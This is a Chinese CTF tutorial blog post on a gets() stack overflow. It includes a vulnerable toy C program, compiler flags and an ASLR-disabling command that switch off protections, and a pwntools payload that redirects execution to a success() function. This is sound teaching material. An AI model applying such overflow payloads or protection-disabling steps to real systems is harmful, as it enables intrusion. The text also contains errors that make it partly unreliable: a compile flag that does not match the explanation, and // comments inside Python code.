ctf wiki pwn(入门实操)

gets函数溢出

源码

#include <stdio.h>
#include <string.h>

void success()
{
        puts("you are succeed!");
}

void volunter()
{
        char s[12];
        gets(s);
        puts(s);
        return;
        }
int main()
{
        volunter();
        return 0;
        }


gets函数不检查输入字符串的长度,回车结束输入

gcc编译

  • -m32 指的是生成 32 位程序;
  • -fno-stack-protector 指的是不开启堆栈溢出保护,即不生成 canary。
  • 为了更加方便地介绍栈溢出的基本利用方式,这里还需要关闭 PIE(Position Independent Executable),避免加载基址被打乱。不同 gcc 版本对于 PIE 的默认配置不同,我们可以使用命令gcc -v查看 gcc 默认的开关情况。如果含有–enable-default-pie参数则代表 PIE 默认已开启,需要在编译指令中添加参数-no-pie。
  • 提到编译时的 PIE 保护,Linux 平台下还有地址空间分布随机化(ASLR)的机制。简单来说即使可执行文件开启了 PIE 保护,还需要系统开启 ASLR 才会真正打乱基址,否则程序运行时依旧会在加载一个固定的基址上(不过和 No PIE 时基址不同)。
  • 我们可以通过修改 /proc/sys/kernel/randomize_va_space 来控制 ASLR 启动与否,具体的选项有
  1. 关闭 ASLR,没有随机化。栈、堆、.so 的基地址每次都相同。
  2. 普通的 ASLR。栈基地址、mmap 基地址、.so 加载基地址都将被随机化,但是堆基地址没有随机化。
  3. 增强的 ASLR,在 1 的基础上,增加了堆基地址随机化。
    我们可以使用
echo 0 > /proc/sys/kernel/randomize_va_space

关闭 Linux 系统的 ASLR,类似的,也可以配置相应的参数。
关闭 ASLR,在编译时关闭 PIE。当然读者也可以尝试 ASLR、PIE 开关的不同组合,配合 IDA 及其动态调试功能观察程序地址变化情况(在 ASLR 关闭、PIE 开启时也可以攻击成功)。

gcc -m32 -fno-threadsafe-statics -no-pie test.c -o test

检查编译

  1. 安装pwntools
  2. pip install pwntools
  3. checksec就可以使用了

IDA反编译

一般linux编译的二进制文件copy到windows中,使用IDA打开。

如下操作后

看到volunteer函数的代码界面

发现字符串距离ebp的距离有0x14

查找success的返回地址

payload编写

我们需要先写进去0x14单位的字符串,然后把ebp基址覆盖(4单位),然后将返回地址覆盖为success的函数地址

from pwn import *

success_add = 0x08049172

payload = 'a' * 0x14 + 'bbbb' + p32(success_add)

sh = process('./test')

print p32(success_add)
//主要是对整数进行打包,就是转换成二进制的形式,比如转换成地址。
//p32、p64是打包,u32、u64是解包。
print payload

sh.sendline(payload)
//发送一行数据,相当于在末尾加\n
sh.interactive()
//与shell交互


成功执行success函数

总结

  • 首先寻找危险函数
    • 输入
      • gets,直接读取一行,忽略’\x00’
      • scanf
      • vscanf
    • 输出
      • sprintf
    • 字符串操作
      • strcpy,字符串复制,遇到’\x00’停止
      • strcat,字符串拼接,遇到’\x00’停止
      • bcopy
  • 计算填充长度
    • 一般为使用IDA查看并计算偏移地址
发布了267 篇原创文章 · 获赞 51 · 访问量 25万+

猜你喜欢

转载自blog.csdn.net/AcSuccess/article/details/103941429